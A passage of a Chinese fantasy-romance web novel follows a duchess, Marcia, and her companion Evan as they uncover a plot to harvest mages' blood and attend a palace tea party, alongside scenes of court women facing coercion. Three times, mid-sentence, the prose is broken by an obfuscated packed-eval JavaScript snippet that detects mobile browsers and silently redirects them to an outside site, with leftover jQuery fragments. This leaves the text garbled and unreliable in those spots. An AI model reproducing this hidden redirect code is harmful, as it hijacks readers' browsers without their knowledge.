力鼠，力大无穷的小动物，会躲在黑暗的巢穴里长时间闭门不出，坚守领地。如果想让它离开藏身地，需要准备好丰盛大餐，配方是：奶酪、糖、花生、巧克力酱、无花果干、核桃仁、板栗仁、红苹果、柑橘…… 食谱足足写了一个跨页。 “哦，我的天呢，可真能吃。这种动物在自然界真的能活下去么？”埃文惊呼。 “所以才被安东尼奥驯养，成为锁具吧。万幸自己现在宽裕，从前的我可没这么多东西……” 玛西亚把这些材料备齐，切开苹果和柑橘，微微烤化奶酪，让它的香气更加浓郁。这时，埃文再次用力把木盒掀开一条缝，使味道飘进去。 美食当前，力鼠不再害羞，探出鼻子，用粉红色的鼻头一顿猛嗅，很快，它从木盒里爬了出来。 力鼠的鼻子细而尖，身体肥而圆，白色为主，头顶和背上有不规则的黑毛。眼睛像鼹鼠，小得过分。尾巴短短一截，摇晃起来像小鸭子，毛茸茸的，还挺可爱。 他一边看它大快朵颐，一边期待地问：“我想叫它西西，可以么？” “可以。当然可以。”玛西亚翻着报告，没抬头。 既然他喜欢那就养吧，名字都起好了，怎么可能丢出去？ 玛西亚看出埃文一直很孤单。她有斯黛拉做朋友，住进这座宅邸以后尚且觉得难熬，何况是从北地来的埃文呢。在这儿除了她，他还能与谁交谈？养只宠物也好。 安东尼奥在报告中详细地记录了各种针对魔法师的实验，玛西亚渐渐读了进去，脸色越来越凝重。 “玛西亚？你怎么了，脸色好差，不舒服吗？”埃文瞥见她脸色苍白，慌忙放下力鼠，关心她的情况。 她摇头，深深呼吸，极力平复之后，向埃文简述自己看到的内容。 古代的医生认为魔法是人体的病变，他们切除早期觉醒者的器官，逐一寻找症结所在，最后发现魔力不在任何脏器中，而是在血液中奔流。 只要抽出觉醒者的足量血液，注入另一个人体内，另一个人就会“感染”完全相同的魔法。 当代的魔法研究者，也就是安东尼奥和他的同伴们，在此基础上进行了更多实验，确定了“足量”的标准：一个魔法师身上三分之一的血。 这时，开始有一派社会学家主张把魔法变成“稳定的遗传”。 他们认为随机觉醒的魔法天赋消除了人与人之间的本该固守的区隔。有德之人和无耻之徒，谁都有概率成为魔法师，这无疑是社会不稳定因素。而男人和女人，贵族与平民，在魔法上的表现也没有差异，更是对秩序的颠覆。 所以他们给白银家族，亚斯特的王族进献了两个对策： 第一，提高魔法的学习成本，禁止魔法教材在民间流通，平民觉醒者会迫于生计，放弃魔法。 第二，鼓励魔法师和元素亲和者结合，一百年之内，魔法就会变成和姓氏一样的父系传承。魔法会和财富、土地、军队一样，牢牢握在贵族的手中。 “天呢，这是什么意思？你是结束战争的英雄，他们却……却想要……”他不敢相信自己听到的。 “他们却想要夺走我的一切。” 17. 失去笑容的王后 情况比埃文想象中还要复杂。玛西亚的讲述让他冷汗涔涔。 埃文所熟悉的生活，是在极北之地的冰原荒村，与所有人团结一心，互相帮衬着，想方设法活下去。 在过去的十九年人生里，他见过的最坏的人就是格罗姆，而格罗姆被玛西亚五分钟不到就解决了。他第一次看到焦黑的尸体，不觉得恐怖，只觉得痛快，甚至有些奇异的安心。 死亡一直在不由分说地带走他珍爱的人，只有玛西亚，她坚决地战斗，没有逃，没有躲，而且，没有死。她以死亡惩戒了恶人。 至于他热爱的那些浪漫小说中的反派就更不必提，反派们做的最坏的事无非就是拆散相爱的人，挡在小情侣中间从中作梗什么的。 听闻有人要抽干玛西亚的血，并且要针对魔法师整个群体展开修正，埃文的大脑便有些转不动，超出理解范围了。他直觉这些人精神不正常，说着伟大的愿景，发挥着才智与聪明，坚信自己的想法最正确，结果却要让无数人牺牲。 埃文很久才憋出一句：“总有人觉得自己比别人都高明……最后把世界搞得一团糟。” “埃文，你知道这群人的主张最可怕的一点是什么吗？”玛西亚自问自答，“是它在某些人眼中真的有道理。甚至会得到一部分魔法师的支持。” “谁会支持？又是杂交，又是育种的。人又不是豌豆……” 他一想到玛西亚成为了这群疯子的目标，就气愤极了。难道在他们眼中她连个人都不算？她做了什么错事，犯了什么罪？ “向往稳定秩序的人吧。”玛西亚说。 埃文肩膀一耸，哼了一声：“钱都在贵族老爷手里，确实挺稳定的，我们穷得很安心。” 旋即他又自觉失言，努力找补，近乎胡言乱语：“不包括玛西亚！玛西亚是好贵族，不是贵族老爷，是……贵族姐姐。” 玛西亚总算又笑了一下。 “埃文，我爸爸生前是个赶马车的，我妈妈给人帮佣。你别害怕得罪我，咱们两个若不能有话直说，我的处境就更难了，不是么？” “好，我记住了。” “不过你说得对。力量和财富的本质是一样的。人总是很难把自己得到的东西吐出来。或者跟新来的人分一分。” “所以他们拖着不给你领地，让你做有名无实的公爵，用卡尔王子的追求做陷阱，都是为了哄你自愿跟他结婚，从而更方便得到你的血。” 玛西亚点头：“我名气在外，不是他们可以随便处理掉的人。但结婚后渐渐隐退，从公众面前消失，人们也不会觉得奇怪。” “是的，人们会觉得你从此过上了幸福、快乐的生活……就像故事里的圆满结局。” 浪漫小说是骗人的。现实如此残酷，埃文又一次撞到了看不见的玻璃墙，冰冷的疼痛感席卷全身。 已婚女人有五花八门的死因，每个说出去都不稀奇，感情不好会死于忧郁，死于心碎，感情好的话也可能死在产床上什么的。 她会从一个英雄，变成一张讣告。 想到这儿，埃文难过地低下了头。 玛西亚的心情反而轻松了不少，提前知道了真相，就占据了还手的先机。 辞退琳达以后，国王赐给她的其他仆人也还算老实，没有新的动作。 从卡尔的表现看，他还傻乎乎地以为玛西亚迟早会被他追到手呢。 可见双方所掌握的信息并不对等，敌明我暗，他们不知道玛西亚在冰原上的意外收获，不知道安东尼奥留下了一份报告。他们觉得玛西亚是愚蠢的猎物，只能在最后关头垂死挣扎。殊不知猎物先一步发现了猎人，她怎么可能无所作为。 对方明显想把事情做得漂亮稳妥，不希望动静太大。 所以，她反而要继续活跃在社交场合，和埃文高调恋爱。敌人意识到不能把她骗进陷阱，自然会有更极端、更激烈的手段。 到那时候就好办了，因为比起长期布局，暗中交锋，玛西亚更擅长应对明确的危险——她擅长战斗。打一架，把敌人打趴下，所有的窝囊气，所有的郁闷都可以一笔勾销。 走出重重叠叠的迷雾，焦虑不见了，令人不适的茫然也消失了，心中竟有股兴奋。 可是，她很快担心起埃文来。埃文看上很享受表演的过程，他喜欢浪漫故事，所以情话说个不休……可如果这不是浪漫故事，而是一个危险的阴谋呢？ “埃文，你怕不怕？” “不怕。”埃文答得很快。 他有正义感，不过，也就是普通人一般的良心，不至于舍生忘死。但如果是玛西亚，他觉得自己无论如何应该去帮她。 因为……对，因为玛西亚杀死了一条冰龙，救了他。 这是报恩。 “埃文，认真点。你可是在被我利用呢，我付的报酬，哪里够买你的一条命？”她劝他多为自己考虑一下。 “人人都想利用你，你也利用下别人怎么了？”他向前挺了挺身，“谈谈恋爱就可以拯救世界，这种事我求之不得。再说，你也找不到比我更好的演员。” 他朝她微笑，向她展示自己漂亮的脸。 无奈力鼠吃饱以后正在运动消食，顺着他的后背嘶溜溜爬上肩膀，窜到了他的头顶。 魅力四射的笑容只过了一瞬，便无法再维持：“西西！别抓我的头发呀……”他挣扎起来，和力大无穷的小老鼠战作一团。 玛西亚：“喜欢你才抓你头发，动物就是会互相梳毛。” “是么？” 把粘人的力鼠从身上摘下来，捋了捋被弄乱的头发，他想起玛西亚抚摸他头顶的感觉。手劲不轻不重，很温暖，稍微有点痒痒。 玛西亚喜欢他么？她是不是也…… 他有点被自己的想法吓到了。忙碎碎叨叨地转移话题：“应该给西西作个真正的窝，还得研究下到底该怎么养，它在箱子里关了这么久，出来就吃这么多，多久喂一次好？平时又该喂什么呢。” 玛西亚见状又是一笑。 人们推崇强者，天性如此，男人大多朝着这个方向去努力，做不到也要装模作样。卡尔王子不必提。就连格罗姆那种强盗，手底下也必须管着几个小喽啰。 可埃文喜欢浪漫小说，喜欢毛茸茸的小动物，说起来多么微不足道，十个人听了，有九个都要说他没出息。 可玛西亚和这样的他相处得很自在。 她观察着埃文，他很美，但不止于美。他好像是没有标价的、尚未脱离大自然的宝石。或者根本不是宝石，而是漆黑的，反射着碎光的煤——他一点都不奢侈。 意识到自己盯着埃文看了太久，玛西亚的脸上拂过一丝尴尬。 “早点休息吧，埃文。” “好。” 埃文应下，一只手托着力鼠，另一只手夹着木箱，走向连接两人卧室的通道，快速说了声晚安，又偷偷回眸看她一眼。 她拆散了盘起的头发，让暖棕色的头发垂落下来，蓬松微卷，在烛火下透着着金红，像被夕阳照射的团团暮云。 “怎么？” “没什么，明天见！玛西亚。” 次日，王宫。 王后约瑟芬妮在女官的陪同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038094|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下离开起居室，拖沓的绸裙蹭着小腿，发出轻微的沙沙声。她步入书房，铺开纸笔，开始一天的工作。 爱德华国王要她亲自写茶会邀请函。 最初，茶会只是贵妇人们呼朋引伴，一起打发午后时光的私人聚会，但社交圈就是这样，一旦成为流行，就得弄出个名堂来。 这不是什么有意思的工作。同样的内容写久了，文字就不再是有含义的符号，而变成线条和圈点组成的图案。王后渐渐心不在焉，灵魂离开身体似的，让手臂带动手腕，手腕抓着蘸水笔，机械地写。果然很快就写错了字。 她叹了口气，又换了一张信纸重写。 “亲爱的玛西亚·布莱斯公爵……” 国王要卡尔去追求这位公爵，王后心里不赞成。她了解自己的孩子，比起强势的女公爵，一个愿意围着他转的小妻子更适合卡尔。 卡尔从小就是这样，端到眼前的食物他不喜欢，于是他站起身子，伸出手臂，用叉子去叉距离更远的。 即便破坏餐桌礼仪后连带教导他的老师、乳母等人也要一起受罚，他还是把这个坏习惯保留到十岁，直到被父亲严厉批评后，才一夕之间改正。 他总觉得自己能打碎什么，掌控什么。实际上他并不能真正坚持己见，害怕遭遇否定。 只不过这种事王后说了也不算。国王有他的考量，她习惯了配合他的安排，不过问原因。她连给自己的孩子起名都不行，五个孩子的名字都是国王亲自取的。 “唔，玛西亚倒是个挺好的名字。” 渐渐地，王后又开始走神，脑海里想着一切与工作无关的事情。 玛西亚，响亮的爆破音，连着女性化的词尾，读起来刚柔并济。 这个词来源于传说中的战士，家长给孩子起这个名字一般都是希望她活泼好动，有副健康的好身体。她性格活不活泼，王后持保留意见，但玛西亚确实在战斗中证明了自己。 “愿您的美丽永如花朵般绽放……这都是什么陈词滥调？不如改一下，愿您的火焰永不熄灭。”王后在无聊的工作中发挥了一点儿创意，签上自己的名字，完成了工作。 她对侍立在身后的女官说：“你们把邀请函送出去。” 一众女官遵命离去。 王后站起身，看向窗外。 冷硬的大理石建筑，复杂的石柱装饰投下太多阴影，远看像脏污的雪。灰霭霭的天空下，除了冬青树篱和松树暗沉地绿着，其余树木只有黑色乱线一样的枯枝。莱昂的温室玻璃上也结了一层白雾，仿佛一块长了白霉的布丁。 “真没意思。”她突然自言自语。 直到庭院里出现一个红发女孩的身影。 为这女孩的明媚的色彩，王后的嘴角微微勾了勾，这一抹鲜红异色在崇尚浅发色的王宫内美得近乎僭越。可下一秒，她就笑不出来了。因为紧接着出现在庭院的人正是她的长子莱昂。 这个儿子令约瑟芬妮恐惧。 如果说卡尔执着于得不到的东西，想借此证明自己是更重要的人。那么莱昂则轻易得到了一切，又因吃的太饱而失去了味觉——他对待他人的方式实在很过分。 安琪紧张地向他行礼，左顾右盼，有些怕被人看见。她显然是得到了传召，才来这里等他。莱昂则无所顾忌，掐着她的细腰，猛地往怀里一搂，把她拖向温室。 王后说不出自己心里到底是什么感觉，作为母亲，她应该教好儿子，用戒尺去打他。作为女人，她本能地要撕碎这幕令她反胃的画面。但作为亚斯特的王后，她只能把指甲掐紧手心，颤抖着拉上了窗帘。 18. 符合主题的着装 宫廷茶会的着装要求并非华贵，而是贴合主题。曾有位夫人在头上包了块棉布头巾，手里提着牛奶壶，扮过农场少女。这让玛西亚想到了小孩子过家家的游戏。 上流社会五花八门的时尚，无非是想找点儿乐子。 这样一想玛西亚也就不那么抵触。况且，邀请函上虽然写了一大堆穿搭的注意事项，繁杂又无聊，但最后的祝福语让她心里熨帖。 积极一点吧，这都是为了让自己的火焰永不熄灭。 “主题是‘白色玉石’，那就穿条白裙子吧。”她的思路总是很直接，拉开衣帽间的门，取出一条奶油色的丝绸长裙。 埃文盯着那裙子看了一会儿，发现是条除了颜色和材质，和她身上现在穿的这件样式差不多的方领裙。 “如果你看上去和平时没什么区别，人们又怎么相信你在热恋呢？” “我可以跟你手牵手入场，”她看着埃文，见没听到肯定的答案，又补充，“必要时拥抱也可以。难道，这样还不够？” 埃文摇头：“小说里的主角出场总是很惊艳嘛！恋爱中的女人也会容光焕发。” 玛西亚觉得有道理，只不过自己就长这个样子，再怎么打扮也好看不到哪里去，估计很难惊艳。她穿不惯漂亮夸张的大礼服，束腰太紧，裙撑和臀垫也很磨人……头发更是难弄，稍微插两样首饰就很重了。 “明白了，我会尽力。” 她带着埃文往衣帽间深处走，那里放着成堆的名贵衣料。珠宝更是不计其数，来自遥远南国的蓝宝石戒指、沉甸甸的翡翠项链、动物造型的珐琅胸针和镂空雕花的金手镯……应有尽有。 埃文不由张大嘴巴，她拥有这么多，却从不穿出去。可见玛西亚是真的不太喜欢打扮。 “要么就穿你刚才拿的那条白裙子吧。我穿你送我的米色套装。也算是情侣装。” “可你刚才不还说要惊艳一些？”她被埃文的善变搞糊涂了。 当然是不想让玛西亚太过勉强自己。 他捧起一条披纱：“借助配饰改变下风格也行？和平时不一样就好。” 玛西亚接过来，它轻得像一缕烟，除了好看没什么别的用，但也不累赘，摸上去很柔软，细看，它边缘的蕾丝上还有编织出的精美图案，是一些缠绕的铃兰。 柔纱轻薄梦幻，铃兰花串栩栩如生，仿佛正在释放甜美的香气。 确实是她不会碰的风格。 蓦地，她有些好奇埃文眼中的自己是什么模样。 “埃文，我平时是什么风格？” “就，就是玛西亚的风格。” 他没有正面回答，让她有点不高兴。转念间，玛西亚又觉得自己会为这么小的事生气很反常。 “我的眼睛，颜色奇不奇怪？”她问他。 “奇怪？怎么会。” 他真诚地说：“第一次见你我就想说来着，透过你的眼睛，我好像看到了春天。除此之外不知道该用什么来形容。” “那你觉得我胖么？” “玛西亚，天呢！胖？我一只手就可以把你扛起来。你能有多重？你的腰才这么细。”他用手在空气中一比划，又觉得有点冒犯，把手缩回来。 小说里，有的女主角穿漂亮衣服，心里不会高兴，反而敏感自卑，觉得自己配不上。难道玛西亚也会这样？埃文感到不可思议。 “整体来看呢？” “整体？你是说整体来看你的长相，对么？”埃文愈发确定玛西亚陷入了没必要的焦虑，“玛西亚，你很美。我不是在逗你……你听我说。” 埃文走近玛西亚，双手扶着她的双肩，非常认真地说：“你有一种坚定又温柔的气质。你可能在想：‘这和美又不沾边，埃文，别糊弄我啦！’但我就是觉得这种气质属于美，不然呢？怎么看都找不出讨厌的地方，这还不够美么？” 玛西亚盯着他看了一会儿，后退半步，摆脱他搭在自己肩膀上的双手，说了句：“谢谢。” “呃，玛西亚，总之你要相信自己。你无论穿什么样的衣服，戴什么样的珠宝，都不会被夺走风头，任谁都能看出你是它们的主人。你配得上任何美丽的东西。” “任何美丽的东西？”她看着埃文，重复了一遍。 “当然！”埃文给她肯定的回答。 这个话题无缘无故开始，又在玛西亚的沉默中结束了，她开始找符合主题的饰品。 水晶、珊瑚、玛瑙、珍珠……宝石不计其数。选择越多，越是眼花缭乱，她感觉哪个都可以，又觉得这样随便的态度有些辜负埃文的认真。 说到底是她自己的事情，性命攸关，得拿出干劲。 她发现了一条细长的白玉珠链，长度大约可以盘绕两圈戴在脖子上，这样一来，即便链条很细也不算不显眼了。而且在最中间中间，还有一粒价值不菲的黄钻，在白玉的冷光里烧出一簇金火。 玛西亚：“我听说有人用宝石代表恋人的瞳色。” 埃文：“没错，路易吉也一直戴着蓝宝石戒指。爱丽丝是蓝眼睛。” “那就选这条了。”指腹轻轻摩挲着昂贵的黄钻，她往里面注入一道微弱的魔力，好让它的光彩再温暖一些，更像埃文的眼睛。 最后是头发。 “玛西亚，那个，我想给你梳头。” 他抓着一把梳子，手指不安地摩挲着木柄，这一次，他没想好理由。恐怕玛西亚会拒绝。 谁料，玛西亚突然说：“埃文，我悟了。故意做个简单的发型。如果别人问我为什么选这个发型，我就可以说是恋人亲手给我梳的。对吗？” “对，对……我就是这样想的！” “不愧是感情专家。” 她对埃文心悦诚服。 在众多发饰中，他们选择了一条简单的丝绸缎带。 梳齿缓慢地犁过发丝，埃文触碰到了玛西亚柔顺的头发，手指好像被丝丝缕缕的温暖缠住。埃文心想，如果真的可以喜欢玛西亚就好了。 是因为哪本小说的男主角给女主角梳头么？不，并没有，他确定自己没看过这样的情节。 他为自己控制不住的念头感到害怕，然后又提心吊胆地继续想。虚虚地抓着玛西亚的头发，动作轻得过分。 “埃文？埃文？” “……怎么？” “稍微用点力，不然会很痒。” “哦，好。”他清醒过来。 丝带被编进了三股辫里，玛西亚指挥他把发辫扭了个环，盘在头顶，固定成简单的发髻。她对着镜子晃了晃脖子，对效果感到满意。 “一定会有人问我头发的事。” “为什么？” “很粗糙，但莫名其妙很好看。”她说。 埃文站在她身后，端详着玛西亚映在镜中的脸，得出结论：“那是因为你在笑呢，玛西亚。就这么笑吧，你笑起来光彩照人。” 玛西亚的笑容凝固。 埃文这样不对，他应该定个规矩，就像舞台上会有大幕拉开作为演出开始的提示。玛西亚觉得他每一句话都太动听，这让她感到混乱。 可是她什么也没有对他说。 她觉得是自己的应变能力还需提升。 与此同时，另一个正在为茶会做准备的女人是红发的安琪小姐，她寄住在费雪伯爵夫人家，她们勉强算得上沾亲带故，她叫费雪夫人姑妈。 安琪肯定没有收到王后亲手书写的邀请函，但姑妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044081|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 借了另一位亲戚的光，非要带她去。 伯爵夫人本来想给她安排一门能换来利益的好亲事，总不能白白收养这么个孤女。如今安琪成为第一王子的情妇，也算令人满意的结局。 “亲爱的姑妈，我能换别的裙子么？这条领口太大了，我觉得有点儿……低俗。” 原本和颜悦色的伯爵夫人突然变了脸，尖酸地说：“哟，你以为你是谁呢，小姐。乡下男爵的遗孤，两手空空跑来我家门前要饭，现在要摆王妃的谱么？你心里一点数都没有么！” 她反握象牙梳子，用梳柄抵住安琪的心口，眼睛轻蔑地往下一瞥：“做你该做的事。做生意哪有不叫卖的理？” “不！不是生意，请不要再说了！”她逃避着真相，几乎在尖叫。 “你还是没长进，这糟糕的礼仪。”费雪伯爵夫人不屑地走开了，不理会安琪的歇斯底里。 她不怕安琪。 安琪越是想向莱昂王子告状，越说明伯爵夫人说的没错，她就是向那个男人出卖了一些东西。那她还跟促成这一切的姑妈争论什么呢？ 安琪难过而屈辱地哭了，泪水顺着粉白的面容流淌而下，很快濡湿了袖口。 不知道哭了多久，不知道是第几次痛哭。没有人帮她，没有人站在自己这边，没有人在乎她的想法。 可她又能怎么办呢，全身上下没有一样东西是自己的，人人都知道她安琪是怎么回事。 哭完之后，她还是乖乖试穿了伯爵夫人给她准备的衣服。就这么活下去吧，没有办法，想别的都没有用，越想越绝望。 王宫内。 莱昂王子暂把年轻的情人抛在一边，来陪他的妻子贝拉试装。这场茶会有特殊的意义，他得稍微露一面，好让贵族们更积极地来参加。 “你戴的那是什么？白水晶？” 贝拉恭敬地回答：“冰龙的鳞片。是布莱斯公爵送我的礼物。” “布莱斯？哦，是她。”他意味不明地笑笑，解开这条龙鳞项链，扔到一边。又单手伸到她的后背，一点点松开紧锢身体的胸衣。 “……” 衣帽间里的衣架连带着衣服一排排地倒下，贝拉的后背正被什么东西硌着，姿势很不舒服。但更不舒服的事还在后边，她的丈夫压住了她，喘息声开始粗重。 贝拉露出一贯的表情，顺从的同时，带着一丝令人扫兴的悲伤。这让莱昂烦躁异常，他觉得她总是不高兴，不让他顺心。 “笑给我看，贝拉。”他撩起她的一缕头发，深深呼吸，迷恋地嗅着。 贝拉照做，牵动肌肉令嘴角上扬。只要听话，不用心地完成指令，做他的王妃也没那么难。 “你以前不是这么笑的……为什么你不像以前那么开心？那件事已经过去那么久了。” 贝拉回以沉默，她什么也没有说，莱昂却感受到了无声的谴责。 “该死！”他愤怒地咆哮，“难道你以为我只是为了那个愚蠢的预言才娶你的么。对你的丈夫笑一笑吧贝拉，我爱你啊。” “我知道。我知道您爱我。” 不仅有预言，还有格林伍德的精金矿，还有她的发色和美貌。每个理由都足够充分。 贝拉露出感激不尽的表情，却任谁都知道这就是讽刺。 于是他的脸色一点点阴沉起来，几乎恼羞成怒，他失去耐心，猛然站起身，拳头朝着梳妆台重重一砸。 他走了。 贝拉默默捡起自己衣服，自尊心和被砸碎的镜子一样，具象化地破碎成了好几片，她不自觉地想要流泪，但贝拉没有允许自己这样做。 她不想为这个男人笑，也不想为他哭，她只想让他死。 再忍一忍…… 19. 同病相怜的误会 玛西亚带着埃文出发去茶会，路上，他们和费雪家的马车错身而过。透过车窗，匆匆瞥见费雪家蛇衔玫瑰的家徽旗帜，她忍不住小声说起伯爵夫人和安琪小姐的复杂情况。 “她把自己的远房侄女当交际花去培养，实在说不上是什么好人。当真是一朵玫瑰落入毒蛇口中。” 玛西亚想了想，又说：“费雪家以前有个很有出息的继承人，魔法师，可惜死在战争中了。” 埃文：“你是说伯爵夫人也有苦衷？” 玛西亚摇头，说：“不。能理解她失去独子的不幸，但那位红发小姐不该对此事负责。” “我还以为你会讨厌贝拉殿下的情敌。”他有点惊讶。 “可我不认识那位红发小姐，所以谈不上喜欢或讨厌，就我知道的事跟你闲聊两句而已。” “那么待会儿贝拉殿下岂不是要和情敌相遇？气氛会很尴尬吧。” 玛西亚一愣：“那确实有点儿……” “你不喜欢这种场合，对么？玛西亚。” “嗯。乱讲话会得罪人，但是不说话也会被当成不礼貌。说是娱乐，又不放松。说是工作，又好像没解决什么问题。总之就是很不自在。” 她整理了一下领口的项链，把黄钻的位置调整到居中：“但我绝对会努力。” 她不喜社交，不擅经营人脉。玛西亚曾因此怀疑过自己是否真的具备治理领地的能力。 多亏斯黛拉点醒她：“玛西亚，当你觉得自己才不配位，就去想想白银家族。他们已经统治了亚斯特六百年。难道他们代代都杰出？我相信利刃女王在位时也没把时间用在交朋友上，琢磨怎么讨人喜欢，都是人们围着她，来投她所好。她只需要分辨谁可信，谁可用就行了。” 实在是一番令人豁然开朗的高论。 仔细想想，莱昂王子真有治国才能么？未必。人们说他有王者风范，可他没做过什么惊天动地的大事，玛西亚常听到他名字的时候只有两次，一次是结婚，一次是婚外情。 卡尔王子受人欢迎，举止优雅，会说漂亮话，但玛西亚知道他完美的微笑之下什么也没有。 他们都可以当亚斯特的王位的顺位继承人，她又何必妄自菲薄。 至少，她真的很会战斗，别的事可以慢慢学。 埃文：“如果茶会上的人们都在装模作样，维持表面的和睦，那卡尔王子就不会跑过来为难我了吧。” 玛西亚摇头：“他肯定会来找你，至少……会笑眯眯地说些阴阳怪气的话。” “明白了。”埃文思索了一会儿，说，“按你的说法，他是个擅长伪装的人。他是不是经常扮演受害者？” 玛西亚：“没错。” “哈哈，他是不是还擅长以退为进，爱说‘你不喜欢也没关系’或者‘我一点儿都不介意’，实际上当对方真的表现出不满，他就生气极了。” 玛西亚：“对。” “有很多人被他骗了吧？这样的人真的很容易赢得同情和支持。” 玛西亚：“是的……你竟总结得这么全面。又是从小说里学到的经验么？” 埃文点点头：“这是很经典的一种反派。在所有人面前表现良好，只找主角一个人的麻烦。经常把主角弄得百口莫辩，甚至让主角的另一半都对其失去信任。” “那该怎么应对？” 埃文胸有成竹：“玛西亚，我们是搭档，不会有信任问题。另外，这世上难道只有他一个人会装模作样？我也可以。” 玛西亚点点头：“也对，你有所防备，还是个挺好的演员。” 埃文：“而且！我肯定比他更会撒娇。” 玛西亚：“……” 他好像很兴奋，说话的声音都变了调，比平时高半度。 玛西亚看着埃文一双金瞳明亮又闪烁，就知道他心里在构思剧本。她有种本该放心，又莫名紧张起来的古怪感觉。 “也别太夸张了，我怕我接不住戏。” “不会，你无条件站在我这边就好了。” “我当然无条件站在你这边。”玛西亚的语气不轻不重，却像小锤子似的往他心头清脆地一敲。 埃文不再说话，用手背冰了冰自己的脸。他感到口干舌燥，不自觉舔了舔嘴唇。现在是冬天，车厢里却有点热。 马车在王宫门口停稳，两人携手步入宫廷。 茶会的发起人是王后约瑟芬妮，可她身体状况欠佳，只在茶会最开始时出现，短暂地露了一面后就带着女官们离去。 于是，茶会上地位最高的女性王室成员变成了贝拉王储妃，她非常端庄地接受宾客们的行礼，回以得体的问候。 玛西亚注意到她今天佩戴了用冰龙鳞做的项链，便对埃文说：“看来贝拉殿下喜欢我的礼物。” 埃文的视线却似乎落在别的地方，玛西亚也顺着相同的方向看过去。 她看到了红发的安琪。 安琪小姐很年轻，看上去不过十七八岁，穿了一条夸张的低领裙，硕大的白玉项坠沉甸甸地压在她的胸口，把人的注意力牢牢牵引到一处。 玛西亚不觉得性感有什么问题，可安琪脸上的表情有些局促，露得不大方，就像是小女孩儿穿大人的裙子，衣服的带子危险地挂在肩头，摇摇欲坠，呈现出糟糕的诱惑姿态。 “别盯着安琪小姐。”她制止他失礼的打量。 “玛西亚，我不是在看她。” 玛西亚本来不在意，漂亮的人谁不愿意多看两眼，因他矢口否认，才开始不高兴。为什么男人总要盯着女人的胸脯，又不承认？ “我无条件站在你这一边，但不包括这个。”她小声说，“这真的很没礼貌。我相信安琪小姐心里不会舒服的。” 埃文伸出手指，隔着空气，从玛西亚的眉头向眉梢划去，轻轻说：“表情，玛西亚，控制一下。” 玛西亚立刻松开眉头，把嘴唇扁成一条直线，勉强不生气，但也绝不是高兴的样子。 “我在看她身后的那副壁画，画中的人鱼手里是不是拿着一块白色石头？不圆，不像是珍珠。石头上还有几笔绿色。” 玛西亚本以为他在找借口，但认真看了一眼之后，发现果然如他所说。 人鱼，类人魔法生物，头发像水藻，粘连着水底淤泥，湿答答的甩在脑后。脸颊上有开口的六片腮，五官虽然很美丽，整体却给人怪异的观感。 可在亚斯特，人鱼捧珠是好运的象征，所以这有点吓人的生物经常被画进画里做装饰，流行程度仅次于画在建筑拱顶上的精灵散花彩绘。 “还真是。” 这副画里没有珍珠。那些不规则的阴影绝不是画师水平不高，胡乱敷衍的结果，而是有意画上去的。 “你猜我想到了什么？”埃文挑了挑单侧的眉毛，等待玛西亚与他心有灵犀的时刻。 “看来我们想到一起去了。” 是抑魔石。 玛西亚彻底明白她刚才误会了埃文，有点愧疚，又感激他心细。在这样的场合她没办法说太多，于是她仰起脸对埃文笑了笑。埃文也笑，却无法直视她太久，像被太阳周围的冕焰烫到了似的，不得不躲开。 这一切都落在旁观者的眼中。 人们早在观察这一对男女了。鼎鼎大名的烈焰之炎，玛西亚·布莱斯公爵和她带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047987|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的英俊男人，无名小卒。 “是她在故乡的恋人么？这男人活像一头健壮的鹿！” “还是头漂亮的雄鹿。无怪布莱斯公爵会把他牵来王都。” “可我听说他不是贵族。” “根本不要紧，重要的是公爵乐意养他当宠物，不嫌他的蹄子弄脏地毯。当然，公爵得到了滋润……瞧她那久旱逢霖的好气色！” “这小子可真走运。” 围绕着玛西亚和埃文的议论愈发露骨，并不比暮星酒馆里客人们的笑话高雅太多。 这时，费雪夫人稍稍靠了过来，歪着身子，贴到安琪的耳边，意味深长地低语：“瞧，亲爱的，我早就跟你讲透了，在王都，这种事是正常的。与其想不开，还不如向前一步，看看能不能成为殿下心中更重要的人。趁他还喜欢你……” 安琪第一次认同姑妈的话。或者说她对王都贵族的道德彻底绝望了。 爱情不存在，尊严不值钱。 男人和女人没有区别，谁有权力，就得听谁的。玛西亚·布莱斯若不是公爵，身边怎么会有一个如此英俊的青年？ 刚才那男人往自己这边瞄了一眼，布莱斯公爵明显为此不悦，然后，他又陪着小心把她哄高兴了。 瞬间，一股同病相怜的感觉油然而生，他们才是一样的人啊！空有美貌的人只是一道供权贵品尝的点心，他们本人的想法不重要。 可若是有办法变得重要一些呢？ 本来就没人在意下位者是被强迫还是自愿，不愿意也是愿意，他们已经被命运的强风吹到了这里，领到一个不光彩的角色，只能继续演下去。 也许她可以演得更好……得到更多。 